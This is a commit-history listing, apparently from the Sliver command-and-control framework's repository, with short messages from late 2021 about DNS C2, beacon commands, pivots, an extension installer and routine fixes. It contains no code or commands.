Compare commits

...
Author SHA1 Message Date
rkervella 63c316e4d7 Set full file path 2021-12-30 09:48:39 -08:00
moloch-- cf8e6ace2e Basic implementation of bundles 2021-12-30 10:47:10 -06:00
moloch-- 131061a015 Implemented update cmd 2021-12-30 10:09:02 -06:00
moloch-- ed18705ccf Use fork of grumble so we can remove cmds 2021-12-30 09:51:46 -06:00
moloch-- 88be0e0846 Added search cmd 2021-12-29 17:46:42 -06:00
moloch-- edd330a4e1 Make coff-loader removable 2021-12-29 17:11:38 -06:00
moloch-- 26c4d04d8d Use cmd name as key to pkgCache 2021-12-29 17:09:37 -06:00
moloch-- 283f605351 Fix variable shadowing, improved ux 2021-12-29 08:39:45 -06:00
moloch-- fd82c4b171 Added an update cmd 2021-12-28 16:24:40 -06:00
rkervella 3d0d61685c Avoid adding empty dependency 2021-12-28 09:04:08 -08:00
moloch-- 177358040f Skip installation of dep if it already exists 2021-12-28 08:44:28 -06:00
moloch-- e4db7d3323 Added a max depth 2021-12-28 08:39:18 -06:00
moloch-- 7b42983e4f Avoid n-depth circular deps 2021-12-28 08:37:24 -06:00
moloch-- 441f97ad6f Added install alias and ext dep resolution 2021-12-28 08:28:12 -06:00
moloch-- efea316519 wip: dep resolver 2021-12-27 22:27:05 -06:00
moloch-- f391f72b04 update extensions readme 2021-12-27 21:26:06 -06:00
moloch-- 2ebaf3115c update extensions readme 2021-12-27 21:25:44 -06:00
moloch-- 630adc0e48 update extensions readme 2021-12-27 21:24:39 -06:00
moloch-- 981aa8b80f add alias rm 2021-12-27 20:33:19 -06:00
moloch-- 024f70edc5 Prevent removal of coff-loader ext 2021-12-27 19:38:32 -06:00
moloch-- bf9b3f4aa6 Eager load installed cmds 2021-12-27 19:26:14 -06:00
moloch-- 5fc94d24bd Added an extensions rm cmd 2021-12-27 18:13:01 -06:00
moloch-- 5394f77f4a Implemented table 2021-12-27 17:29:06 -06:00
moloch-- b41ac3a229 Basic pkg info working 2021-12-27 17:09:13 -06:00
moloch-- 5c3fd8cb2b wip: armory cmd 2021-12-27 09:59:56 -06:00
moloch-- adbe7c7def Consisten ux 2021-12-26 21:43:34 -06:00
moloch-- bfcbb0bba6 Small fixes 2021-12-26 18:18:56 -06:00
moloch-- 4495c36853 added unit tests for alias parser 2021-12-26 17:27:12 -06:00
moloch-- f8d2f30344 added unit tests for ext manifest parsing 2021-12-26 16:08:00 -06:00
moloch-- 55752d1109 added os specific path handling to util 2021-12-26 12:15:29 -06:00
moloch-- 48f7560655 Implemented alias install cmd 2021-12-26 10:05:03 -06:00
moloch-- 92e0f87d44 Implemented ext install cmd 2021-12-24 19:36:21 -06:00
moloch-- 13498da60c Implemented more ux features for extensions 2021-12-24 14:25:30 -06:00
moloch-- 9c878527a5 Small refactor of exts layout 2021-12-24 12:47:56 -06:00
moloch-- f81419614d Added local file completer, and more generic client asset unpacker 2021-12-24 11:46:21 -06:00
moloch-- 368442e094 Small refactor of macro->alias and exts 2021-12-24 10:09:49 -06:00
moloch-- 670c4b7f9a Improved ux 2021-12-24 09:19:37 -06:00
moloch-- 77693c6be1 socks and wg-socks use same subcommands 2021-12-23 20:51:58 -06:00
moloch-- 35bd3fd44a Converted website tables 2021-12-23 20:45:20 -06:00
moloch-- a916f8b38b Converted wg tables 2021-12-23 20:39:52 -06:00
moloch-- fa2645e186 Converted jobs tables 2021-12-23 20:27:23 -06:00
moloch-- 597950fa0a Converted more tables 2021-12-23 20:18:37 -06:00
moloch-- 2acced66f1 Minor cleanup 2021-12-23 17:43:16 -06:00
rkervella 39a6e13ae4 Remove last CGO artifacts for shellcode generation 2021-12-23 10:38:19 -08:00
moloch-- 3b7db1dea0 Fix cross-compiling cgo in makefile 2021-12-22 14:06:53 -06:00
moloch-- 46d32e6130 Changed default db back to cgo 2021-12-22 13:55:12 -06:00
moloch-- 815bf3c479 Fix off by one in SplitBuffer 2021-12-22 10:27:10 -06:00
moloch-- a4e28f37de Fix race in size check of large dns msgs 2021-12-22 09:49:17 -06:00
moloch-- ddc94ba556 Potential fix for dns extra bytes race 2021-12-22 08:50:45 -06:00
moloch-- bf484828cd Wired up active-c2 and proxy url 2021-12-22 08:21:13 -06:00
moloch-- 8deb2c7bca Attempting to fix intermitten bug in dns boundry calculations 2021-12-21 22:04:34 -06:00
moloch-- f9c58caa78 parse all c2 args as urls 2021-12-21 20:56:50 -06:00
moloch-- ba6eda99c8 Small fix to dns client 2021-12-21 18:13:58 -06:00
moloch-- 09b441f132 updated readme 2021-12-21 17:23:04 -06:00
moloch-- 08bcff0517 gosqlite seems to work now 2021-12-21 17:20:37 -06:00
moloch-- a2d63eb4e9 gosqlite seems to work now 2021-12-21 17:11:44 -06:00
moloch-- cde5b8c2db Actually use pure go sqlite 2021-12-21 16:25:57 -06:00
moloch-- bfed9c9343 Merge branch 'v1.5.0_pivots' into stage 2021-12-21 14:51:53 -06:00
moloch-- 8adab5786b unit tests pass 2021-12-21 12:03:03 -06:00
moloch-- d2a7feba5e Remove sql.go import 2021-12-21 12:03:03 -06:00
rkervella b4d939bcb9 Merge branch 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2021-12-20 15:34:11 -08:00
rkervella 4d068268e2 Set default implant sleep to non-zero value 2021-12-20 15:34:06 -08:00
rkervella dd52cefc22 Move sleep time to constant 2021-12-20 15:32:43 -08:00
rkervella 3c9b8bb2cc Merge branch 'v1.5.0_pivots' of bishopfox.github.com:BishopFox/sliver into v1.5.0_pivots 2021-12-20 15:26:37 -08:00
rkervella 8af24c9c3e Fix prelude stuff 2021-12-20 15:26:28 -08:00
moloch-- 5083ca3397 Merge branch 'go-sqlite' into v1.5.0_pivots 2021-12-19 08:59:51 -06:00
moloch-- 57b3ee28a7 Merged gosqlite, added built tags for gosqlite/csqlite 2021-12-19 08:50:50 -06:00
moloch-- 2468abed25 Merge branch 'go-sqlite' into v1.5.0_pivots 2021-12-19 08:40:33 -06:00
moloch-- a3cb2bca44 comments 2021-12-19 08:40:19 -06:00
moloch-- 122e5bf3b0 Unit tests pass 2021-12-18 20:55:02 -06:00
moloch-- 09a0cc5a67 Merge branch 'v1.5.0_pivots' into go-sqlite 2021-12-18 18:02:19 -06:00
moloch-- c8a9094a90 commands, tunnels, etc. working 2021-12-18 12:16:23 -06:00
moloch-- 4247a0ddf8 wip: Pivots connect to the server and can exchange messages 2021-12-18 11:37:41 -06:00
moloch-- c8834f63ef Pivot/peer->server key exchange working 2021-12-17 17:35:36 -06:00
moloch-- 1fd74f69ea Go v1.17.5 2021-12-11 11:57:10 -08:00
moloch-- 4dfa46c7ae Merge branch 'stage' into v1.5.0_pivots 2021-12-07 14:41:09 -08:00
moloch-- 6f8c726863 tweak max literal sizes 2021-12-07 12:42:06 -08:00
moloch-- 763c46bd37 wip 2021-12-03 21:44:57 -06:00
moloch-- a37749bf50 Fix byte type 2021-12-02 21:32:40 -06:00
rkervella 0c7c7b54d3 Fix #544 2021-11-30 10:18:09 +01:00
rkervella 832ac585f7 Merge branch 'cert-issue' into stage 2021-11-30 10:09:59 +01:00
Joe 14492dfbcb Merge pull request #550 from usiegl00/stage
Expand tilde in generate file path
2021-11-29 20:10:24 -06:00
usiegl00 1e283e54a9 Expand tilde in generate file path 2021-11-30 09:59:05 +09:00
Ronan Kervella f679e99403 Merge pull request #549 from usiegl00/stage
Add CmdLine to Windows process list.
2021-11-29 12:09:11 +01:00
usiegl00 aab7143708 Add CmdLine to Windows process list 2021-11-29 19:19:14 +09:00
Joe 886ab348f4 Merge pull request #548 from cmprmsd/patch-1
Add Bitdefender Process Names
2021-11-28 15:07:49 -06:00
cmprmsd 8211f8f0e4 Add Bitdefender Process Names
Feel free to remove the source that I added to find out about "Bitdefender redline update"
2021-11-28 11:46:47 +01:00
moloch-- 05cc038f2f remove cc logic from makefile 2021-11-26 09:55:49 -06:00
moloch-- 1117f9b9c9 remove cc logic from makefile 2021-11-26 09:55:25 -06:00
moloch-- 8670f50150 pure go sqlite working 2021-11-26 09:50:40 -06:00
moloch-- 3613a2ffe3 wip on server-side key exchange 2021-11-26 09:38:51 -06:00
rkervella 483654d58f Fix error check during client cert generation 2021-11-26 12:52:34 +01:00
moloch-- de27a5e132 Fix peer envelope handler scheme 2021-11-23 08:29:30 -06:00
moloch-- 2051abd663 pivots wip, fixed socks ui bugs 2021-11-22 19:37:18 -06:00
rkervella b87a7034a9 Only log in when in debug mode 2021-11-22 09:55:56 +01:00
moloch-- 8914559aec Pivot con wip 2021-11-21 22:42:05 -06:00
moloch-- 7f84913ab2 Added failure detection 2021-11-21 18:17:03 -06:00
moloch-- 84494c1ad4 tweaked peer design 2021-11-21 17:25:04 -06:00
moloch-- 33a9fd6eae Peer key exchange working 2021-11-21 16:26:59 -06:00
moloch-- 33e72b9601 Outlined updated pivots 2021-11-21 12:00:12 -06:00
moloch-- 45be3dff80 gopsutil v3 2021-11-21 08:18:51 -06:00
moloch-- 325fd47401 Insert minisign sigs, enable variable literal obf 2021-11-21 08:16:39 -06:00
moloch-- 526c3c104a Fix unit tests, added util.gzip funcs 2021-11-20 20:42:13 -06:00
moloch-- c4542d8def Added more unit tests for minisign 2021-11-20 20:22:35 -06:00
moloch-- ade83e551f Added minisign keys to db key/value 2021-11-20 19:30:30 -06:00
moloch-- a7da3027ac Moved secrets to db 2021-11-20 18:42:57 -06:00
moloch-- edc6d21c23 Fixed dns beacon reconnect problems 2021-11-20 16:23:44 -06:00
moloch-- 31ca964e6c Fixes to beacon key life cycle 2021-11-20 15:36:31 -06:00
moloch-- 735ae74f1d Fix state revert bug 2021-11-20 14:54:12 -06:00
moloch-- 49679538eb Made beacon registration eventable 2021-11-20 14:27:31 -06:00
moloch-- 000ca54a15 nil resp check 2021-11-20 11:29:16 -06:00
moloch-- eb615f3add Fixed poll truncation/race issue #540 2021-11-20 11:23:37 -06:00
moloch-- acb0f857b3 Force generation of secure password 2021-11-20 09:54:23 -06:00
moloch-- 610d8b18c9 Force generation of secure password 2021-11-20 09:51:12 -06:00
moloch-- edf126c149 Warn user about socks proxy creds 2021-11-20 09:48:33 -06:00
moloch-- 1794d0cebd Renable socks user/pw 2021-11-20 09:45:07 -06:00
moloch-- e66d563f65 Fix nil RemoteAddr deref 2021-11-20 09:38:51 -06:00
moloch-- 8dd2b5d7ce Update socks api usage 2021-11-20 09:00:41 -06:00
moloch-- 10246681ba Switched deps to fork of memmod and go-socks5 2021-11-20 08:47:24 -06:00
moloch-- ed19017941 Update table 2021-11-20 08:37:46 -06:00
moloch-- c0116cc9d5 Tweaks to socks ux 2021-11-20 08:22:20 -06:00
moloch-- a890812a0a Fix logging levels 2021-11-19 20:43:30 -06:00
moloch-- b1922bce73 Fix log import 2021-11-19 20:15:39 -06:00
moloch-- 47aaeb0225 Merge socks 2021-11-19 19:44:56 -06:00
moloch-- 61c844db44 Rebase 2021-11-19 19:41:23 -06:00
moloch-- 35bbc61a9a Stage socks branch 2021-11-19 19:39:57 -06:00
moloch-- 6453f477f4 Fix fmt import 2021-11-19 19:39:57 -06:00
moloch-- b0709a364a Tweaked dns c2 2021-11-19 19:39:55 -06:00
moloch-- 2e65e1842f Moving to per-c2 opts 2021-11-19 19:39:45 -06:00
moloch-- c068664854 Wire dns c2 to beacon interface 2021-11-19 19:39:45 -06:00
moloch-- e9debcc2a4 Increase default workers 2021-11-19 19:39:45 -06:00
moloch-- 7ae2d0a481 DNS C2 mvp 2021-11-19 19:39:44 -06:00
moloch-- b62e3354e0 Wired send loop 2021-11-19 19:39:44 -06:00
moloch-- e55afa7efe Outlined the rest of server-side dns c2 2021-11-19 19:39:44 -06:00
moloch-- 65dc11a40e Wired dns recv to core 2021-11-19 19:39:44 -06:00
moloch-- 2620673f50 More/larger tests 2021-11-19 19:39:44 -06:00
moloch-- e22d3ac58e Re-assemble unit tests 2021-11-19 19:39:44 -06:00
moloch-- 604c3480cf Updated garble 2021-11-19 19:39:44 -06:00
rkervella ca8544a169 No need for CGO for shellcodes anymore 2021-11-19 19:39:44 -06:00
rkervella e1713bd418 Add missing Request field 2021-11-19 19:39:44 -06:00
rkervella 0649a2680b Switch upstream memmod to up to date version 2021-11-19 19:39:44 -06:00
rkervella 280f5c6be7 Fix flag name 2021-11-19 19:39:44 -06:00
rkervella 77ddfd8013 Add error handling 2021-11-19 19:39:44 -06:00
rkervella 48d2eed385 Replace protobuf annotations with unique strings 2021-11-19 19:39:44 -06:00
moloch-- 36d531fa86 Entrypoint -> StartW 2021-11-19 19:39:44 -06:00
moloch-- ab2ab45edc Improved worker/queue pattern 2021-11-19 19:39:44 -06:00
moloch-- 2b2c1bdc13 splitBuffer tests for max parent 2021-11-19 19:39:44 -06:00
moloch-- 983b5476bd splitBuffer tests for b32 and b58 2021-11-19 19:39:43 -06:00
moloch-- cbd95a2003 tests and fixes for splitBuffer 2021-11-19 19:39:43 -06:00
moloch-- a3b1693a41 dnsclient unit tests 2021-11-19 19:39:43 -06:00
moloch-- 434ca2fee9 Improved unit tests 2021-11-19 19:39:43 -06:00
moloch-- 92ef847a59 wip on server-side send/recv impl 2021-11-19 19:39:43 -06:00
moloch-- 800c584397 Added variable encoding, wip 2021-11-19 19:39:43 -06:00
moloch-- b2a2dac63b Initial fingerprint impl working 2021-11-19 19:39:43 -06:00
moloch-- 954616b5a3 outlined fingerprint scheme 2021-11-19 19:39:43 -06:00
moloch-- 2cd4264101 Abstracted resolver impl 2021-11-19 19:39:43 -06:00
moloch-- b8d78c56e9 Platform specific find resolvers 2021-11-19 19:39:43 -06:00
moloch-- c5262aa807 Platform specific find resolvers 2021-11-19 19:39:43 -06:00
moloch-- 17dba3543d wip on dns c2 updates 2021-11-19 19:39:43 -06:00
moloch-- 7b0a83027e Modified base58 alphabet 2021-11-19 19:39:43 -06:00
moloch-- f46f7a36ff Updated b58 unit tests 2021-11-19 19:39:43 -06:00
moloch-- a369c46952 Base62 -> Base58 2021-11-19 19:39:43 -06:00
moloch-- 907ef9ca2f Updated lics 2021-11-19 19:39:43 -06:00
moloch-- 4df5c78b7e Obfuscate more of the pkgs, limited pkg obfuscation is currently broken 2021-11-19 19:39:43 -06:00
moloch-- 3765e016b4 Updated garble 2021-11-19 19:39:42 -06:00
moloch-- 6fa06e8d74 Updated garble 2021-11-19 19:39:42 -06:00
moloch-- c3841efcef Fix dns imports 2021-11-19 19:39:42 -06:00
moloch-- 508e9ab9d9 dns wip 2021-11-19 19:39:42 -06:00
moloch-- 433482031c added pb 2021-11-19 19:39:42 -06:00
moloch-- a4a94eca98 some initial refactoring 2021-11-19 19:39:42 -06:00
moloch-- ecea6049a8 check n bytes 2021-11-19 19:39:42 -06:00
moloch-- 1767c34f47 Go v1.17.2 2021-11-19 19:39:42 -06:00
moloch-- 6fd1e4802b Cleanup tunnel read() 2021-11-19 19:39:42 -06:00
moloch-- f745d9524e Remove server core import 2021-11-19 19:39:42 -06:00
rkervella a8464d5b0c Fix DLL hijack protobuf 2021-11-19 19:39:40 -06:00
rkervella cc7a56e07b Close connection once payload has been sent. 2021-11-19 19:38:32 -06:00
Chris Smith cdbf93d64b Enable hyphen in operator names 2021-11-19 19:38:32 -06:00
rkervella fdd319f6f3 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-11-19 19:38:32 -06:00
dependabot[bot] 22f840acbd Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-11-19 19:38:32 -06:00
moloch-- 9d200bb2aa mvp of open session 2021-11-19 19:38:32 -06:00
moloch-- 17b6cf7a5e OpenSession wip 2021-11-19 19:38:30 -06:00
moloch-- 22efd18301 Modified connection pattern to support runtime values 2021-11-19 19:38:14 -06:00
rkervella 4d45883c72 Fix Sprintf statement 2021-11-19 19:36:56 -06:00
rkervella b98bf6ef53 Fix short flag conflict 2021-11-19 19:36:56 -06:00
rkervella 65ea935750 Add missing flag, rename short flag 2021-11-19 19:36:56 -06:00
rkervella 9865ee2396 Update COFF Loader version 2021-11-19 19:36:56 -06:00
rkervella ca7cf74387 Remove double build constraints 2021-11-19 19:36:56 -06:00
rkervella 9eb6fda037 Rework uintptr cast to avoid size limitation 2021-11-19 19:36:56 -06:00
rkervella 1a5eb1c118 Fix flags types and help string 2021-11-19 19:36:56 -06:00
rkervella f43d01b4b0 Add kill support for beacons 2021-11-19 19:36:54 -06:00
moloch-- 96fe3c7db8 Regenerate pb 2021-11-19 19:36:23 -06:00
Raf 8188ba689d client/command/filesystem/ls: Fix an off-by-one error that prevented the ls command from operating against the root of the drive. 2021-11-19 19:36:00 -06:00
rkervella 4517684728 Refactor to use GetInteractive() 2021-11-19 19:35:08 -06:00
rkervella ab1b72f410 Cleaning up Windows kill handler 2021-11-19 19:35:08 -06:00
rkervella fd83024e4b Add autocomplete for use 2021-11-19 19:35:08 -06:00
rkervella 18ee8e5133 Switch beacons command to the Generic help group 2021-11-19 19:35:07 -06:00
rkervella 5a96962611 Switch beacons command to the proper help group 2021-11-19 19:35:07 -06:00
rkervella 85b592b2b9 Add helpgroup for beacons 2021-11-19 19:35:07 -06:00
moloch-- 91a569f389 Implemented beacon priv cmds 2021-11-19 19:35:07 -06:00
moloch-- b646ca835c Implemented beacon registry cmds 2021-11-19 19:35:07 -06:00
moloch-- 26993f797c Implemented beacon screenshot 2021-11-19 19:35:07 -06:00
moloch-- ec743b2e85 Implemented beacon proc cmds 2021-11-19 19:35:07 -06:00
moloch-- 0ac43c69d6 Implemented task fetch for netstat 2021-11-19 19:35:07 -06:00
moloch-- a2f8bac4b1 Ported netstat to beacon/table writer 2021-11-19 19:35:07 -06:00
moloch-- 2c9643b404 Added support for GOPROXY env var and server config 2021-11-19 19:35:07 -06:00
moloch-- 1239b5fd87 Added multiplayer -p flag 2021-11-19 19:35:07 -06:00
moloch-- d904a74d14 Added new flags to http/https listeners 2021-11-19 19:35:07 -06:00
moloch-- 60aaeebe0b Added --all to ifconfig 2021-11-19 19:35:07 -06:00
moloch-- 000ecb51eb Added beacon prune command 2021-11-19 19:35:07 -06:00
moloch-- fbddd67930 Added beacon watch command 2021-11-19 19:35:07 -06:00
moloch-- 10f7b000b4 implemented ifconfig 2021-11-19 19:35:07 -06:00
moloch-- 2f3ebbfcd5 Task fetch for ssh, and env tasks 2021-11-19 19:35:06 -06:00
moloch-- b54d97b497 Implemented task fetch for exec pkg 2021-11-19 19:35:06 -06:00
moloch-- eedfb272a5 Implemented more task fetch renderers 2021-11-19 19:35:06 -06:00
moloch-- 47857e903c Added command to fetch old task results 2021-11-19 19:35:06 -06:00
moloch-- 0da314d925 Updated ssh to work with beacon 2021-11-19 19:35:06 -06:00
moloch-- c132b14272 Updated spawndll client cmd 2021-11-19 19:35:06 -06:00
moloch-- f6b7e07653 Updated server-side rpc's for execute-assembly, sideload, spawndll 2021-11-19 19:35:06 -06:00
moloch-- 60cbf09520 Ported msf/msf-remote to support beacon 2021-11-19 19:35:04 -06:00
moloch-- 0090e8dfd8 Added beacon support to execute-shellcode 2021-11-19 19:34:11 -06:00
moloch-- 099753fa74 Added beacon support to execute-assembly 2021-11-19 19:34:11 -06:00
moloch-- 6685bf486e Only paginate on 2x terminal sized tables 2021-11-19 19:34:11 -06:00
moloch-- 6d5a288626 UX improvements 2021-11-19 19:34:11 -06:00
rkervella 3bf157b29d Refactor 2021-11-19 19:34:11 -06:00
rkervella 146be0e814 Revert "Refactoring"
This reverts commit de7fd664cd.
2021-11-19 19:34:11 -06:00
rkervella 065fc3ffa6 Revert "Escape string before JSON parsing"
This reverts commit 1549b894fa.
2021-11-19 19:34:11 -06:00
rkervella d3da84731f Refactoring 2021-11-19 19:34:11 -06:00
rkervella b451d90a33 Escape string before JSON parsing 2021-11-19 19:34:11 -06:00
rkervella c01ace4a67 Add PID to bof result 2021-11-19 19:34:10 -06:00
rkervella e8d22af3bc Check for nil pointer 2021-11-19 19:34:10 -06:00
rkervella 50f83c958b Removed comment 2021-11-19 19:34:10 -06:00
rkervella 6ac9a16aa7 Remove commented code 2021-11-19 19:34:10 -06:00
rkervella caad9de26c Initial BOF support for Prelude Operator 2021-11-19 19:34:10 -06:00
rkervella 70805d04f7 Remove logging 2021-11-19 19:34:10 -06:00
moloch-- a3b98716a7 Stage socks branch 2021-11-19 19:28:52 -06:00
moloch-- 24f6a9d8ab Fix fmt import 2021-11-19 17:26:52 -06:00
moloch-- d6b5571c7e Tweaked dns c2 2021-11-19 17:02:34 -06:00
moloch-- c0b08cbd42 Moving to per-c2 opts 2021-11-19 15:09:06 -06:00
moloch-- d567a21f8c Wire dns c2 to beacon interface 2021-11-19 13:28:13 -06:00
moloch-- 105d80cdb7 Increase default workers 2021-11-19 09:33:59 -06:00
moloch-- d1627c9030 DNS C2 mvp 2021-11-18 20:10:55 -06:00
moloch-- 661732012d Wired send loop 2021-11-18 12:43:51 -06:00
moloch-- f55f248fbc Outlined the rest of server-side dns c2 2021-11-18 11:24:50 -06:00
moloch-- 6817c5a117 Wired dns recv to core 2021-11-18 08:56:17 -06:00
moloch-- 6b31d6985a More/larger tests 2021-11-17 19:47:42 -06:00
moloch-- 47357c346a Re-assemble unit tests 2021-11-17 19:38:28 -06:00
moloch-- 970ff6b80b Updated garble 2021-11-17 14:48:01 -06:00
moloch-- 126dc44c44 Merge branch 'stage' into v1.5.0_dns2 2021-11-17 13:53:00 -06:00
moloch-- 4abc395485 Entrypoint -> StartW 2021-11-16 08:52:18 -06:00
rkervella 0f5284fb2d No need for CGO for shellcodes anymore 2021-11-15 14:21:32 +01:00
moloch-- 0f4dc27498 Improved worker/queue pattern 2021-11-14 15:16:39 -06:00
moloch-- 7ea5039e9a splitBuffer tests for max parent 2021-11-14 13:25:58 -06:00
moloch-- b1e4a016d4 splitBuffer tests for b32 and b58 2021-11-14 13:19:18 -06:00
moloch-- 785810ebea tests and fixes for splitBuffer 2021-11-14 10:44:52 -06:00
moloch-- 5779f337d0 dnsclient unit tests 2021-11-14 09:10:28 -06:00
moloch-- ab93f0d1c6 Improved unit tests 2021-11-13 13:40:15 -06:00
moloch-- d4cc59d1e6 wip on server-side send/recv impl 2021-11-09 18:43:55 -06:00
rkervella 03d1f92441 Merge branch 'v1.5.0_beacon' into stage 2021-11-09 11:23:24 +01:00
rkervella 77ddf234bd Add missing Request field 2021-11-09 11:22:02 +01:00
rkervella a53bc17665 Switch upstream memmod to up to date version 2021-11-08 10:09:14 +01:00
moloch-- 1682f58801 Added variable encoding, wip 2021-11-06 19:16:06 -05:00
moloch-- 3d4e76990c Initial fingerprint impl working 2021-11-06 13:14:46 -05:00
moloch-- d97fb249a8 outlined fingerprint scheme 2021-11-05 17:46:29 -05:00
rkervella e8714dbdec Fix flag name 2021-11-03 11:48:59 +01:00
rkervella f69a4f8b92 Add error handling 2021-11-03 10:34:04 +01:00
moloch-- c2925a8a57 Abstracted resolver impl 2021-11-02 19:46:14 -05:00
moloch-- 6484b0c5a6 Platform specific find resolvers 2021-11-01 10:59:37 -05:00
moloch-- 338b8bb5b2 Platform specific find resolvers 2021-11-01 10:55:12 -05:00
moloch-- 15ca3871dd wip on dns c2 updates 2021-10-31 15:50:13 -05:00
moloch-- f11a1333bb Modified base58 alphabet 2021-10-31 10:40:27 -05:00
moloch-- 4a2c9cb50e Updated b58 unit tests 2021-10-31 10:36:28 -05:00
moloch-- c8928b4864 Base62 -> Base58 2021-10-31 10:35:34 -05:00
moloch-- 13ecb9782b Updated lics 2021-10-30 15:33:23 -05:00
moloch-- 05ce79e986 Obfuscate more of the pkgs, limited pkg obfuscation is currently broken 2021-10-30 15:26:31 -05:00
moloch-- a3c7d057f6 Updated garble 2021-10-30 13:00:16 -05:00
moloch-- b3277d0f4c Updated garble 2021-10-30 12:51:09 -05:00
moloch-- 1f0e9d6995 Fix dns imports 2021-10-30 12:16:57 -05:00
moloch-- 478f677f55 dns wip 2021-10-30 11:30:22 -05:00
moloch-- 7463298de1 added pb 2021-10-30 09:45:19 -05:00
moloch-- 7306d439e1 some initial refactoring 2021-10-30 08:22:59 -05:00
rkervella 66d6e8043a Merge branch 'dont-merge-that' into stage 2021-10-29 19:00:40 +02:00
rkervella 11505d8f94 Replace protobuf annotations with unique strings 2021-10-29 19:00:13 +02:00
moloch-- 452d7b7fce check n bytes 2021-10-27 16:43:18 -05:00
moloch-- 606c5ac948 Go v1.17.2 2021-10-22 08:31:58 -05:00
moloch-- 8ee4f786b4 Cleanup tunnel read() 2021-10-21 08:46:15 -05:00
moloch-- 79a96368d0 Remove server core import 2021-10-21 08:44:00 -05:00
moloch-- 8176068bb5 Merge latest v1.5 2021-10-21 08:31:03 -05:00
moloch-- ff8de9922e Merge master 2021-10-21 08:29:05 -05:00
Ronan Kervella 13cbf53851 Merge pull request #527 from BishopFox/dll-hijack-fix
DLL Hijack update
2021-10-21 15:17:37 +02:00
rkervella 56f339c8a3 Fix Sprintf statement 2021-10-21 15:13:29 +02:00
rkervella e31fd56730 Fix DLL hijack protobuf 2021-10-21 14:45:55 +02:00
Ronan Kervella 9af5d9126f Merge pull request #525 from BishopFox/fix-stager-close-conn
Close TCP connection on TCP stager
2021-10-12 12:49:09 +02:00
rkervella d9499c26a1 Close connection once payload has been sent. 2021-10-12 12:21:49 +02:00
Ronan Kervella 5bd101bc47 Merge pull request #524 from BishopFox/bugfix/fix-operator-usernames
Enable hyphen in operator names
2021-10-12 10:57:30 +02:00
Chris Smith 0e1d21bb28 Enable hyphen in operator names 2021-10-12 05:20:15 +00:00
Ronan Kervella 1f5a950752 Merge pull request #523 from BishopFox/fix-spawndll-crash
Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type
2021-10-11 11:43:10 +02:00
rkervella 3a1ff3fa52 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-10-11 09:43:47 +02:00
moloch-- 9db930b10f mvp of open session 2021-10-09 17:49:03 -05:00
a3sroot 2fa6bc2e59 Defective socks 2021-10-05 11:57:29 +08:00
moloch-- 2e3f92ed22 OpenSession wip 2021-10-04 17:35:51 -05:00
rkervella c552a2fd9f Fix short flag conflict 2021-10-01 12:11:27 +02:00
rkervella e729576a6d Add missing flag, rename short flag 2021-10-01 12:05:32 +02:00
moloch-- c9f04b0a1c Modified connection pattern to support runtime values 2021-09-28 13:02:18 -10:00
rkervella a439c39d64 Update COFF Loader version 2021-09-28 10:44:58 +02:00
rkervella 0471a219c4 Remove double build constraints 2021-09-28 10:35:00 +02:00
rkervella 6631727242 Rework uintptr cast to avoid size limitation 2021-09-28 10:34:10 +02:00
rkervella c21171d739 Fix flags types and help string 2021-09-28 10:19:23 +02:00
Ronan Kervella 98aa4ed58c Merge pull request #518 from BishopFox/dependabot/bundler/docs/nokogiri-1.12.5
Bump nokogiri from 1.11.7 to 1.12.5 in /docs
2021-09-28 10:16:18 +02:00
rkervella 4ad1f1a561 Add kill support for beacons 2021-09-28 10:15:51 +02:00
dependabot[bot] d0a38bb792 Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-09-28 05:59:37 +00:00
rkervella ee8603b30c Merge branches 'v1.5.0_beacon' and 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2021-09-27 18:19:38 +02:00
rkervella 11ea01819f Refactor to use GetInteractive() 2021-09-27 11:05:30 +02:00
rkervella da39a82b83 Cleaning up Windows kill handler 2021-09-27 10:58:48 +02:00
rkervella 3ce730a469 Add autocomplete for use 2021-09-27 10:50:58 +02:00
rkervella f52ee8c28f Switch beacons command to the Generic help group 2021-09-27 10:37:08 +02:00
rkervella 150511df9b Switch beacons command to the proper help group 2021-09-27 10:36:20 +02:00
rkervella 3e8c3fc02e Add helpgroup for beacons 2021-09-27 10:32:09 +02:00
moloch-- 019d0d40f6 Regenerate pb 2021-09-26 19:47:54 -07:00
moloch-- 268aa95169 Merged v1.5.0_beacon 2021-09-26 19:47:23 -07:00
moloch-- 7775880277 Implemented beacon priv cmds 2021-09-26 19:31:05 -07:00
moloch-- ba541ffd43 Implemented beacon registry cmds 2021-09-26 18:44:59 -07:00
moloch-- a60cc86c9a Implemented beacon screenshot 2021-09-26 18:12:32 -07:00
moloch-- 0099e06cc6 Implemented beacon proc cmds 2021-09-26 17:41:18 -07:00
moloch-- b0fdec2700 Implemented task fetch for netstat 2021-09-26 15:43:28 -07:00
moloch-- 8419cf7442 Ported netstat to beacon/table writer 2021-09-26 15:38:24 -07:00
moloch-- d470543f98 Added support for GOPROXY env var and server config 2021-09-26 10:59:46 -05:00
moloch-- 84d41f063b Added multiplayer -p flag 2021-09-25 22:47:15 -05:00
moloch-- c876f34cd0 Added new flags to http/https listeners 2021-09-25 19:42:53 -05:00
moloch-- 7ba3f87afb Added --all to ifconfig 2021-09-25 17:57:26 -05:00
moloch-- 008f9c6fde Added beacon prune command 2021-09-25 17:16:21 -05:00
moloch-- 80e6c2a24e Added beacon watch command 2021-09-25 16:15:08 -05:00
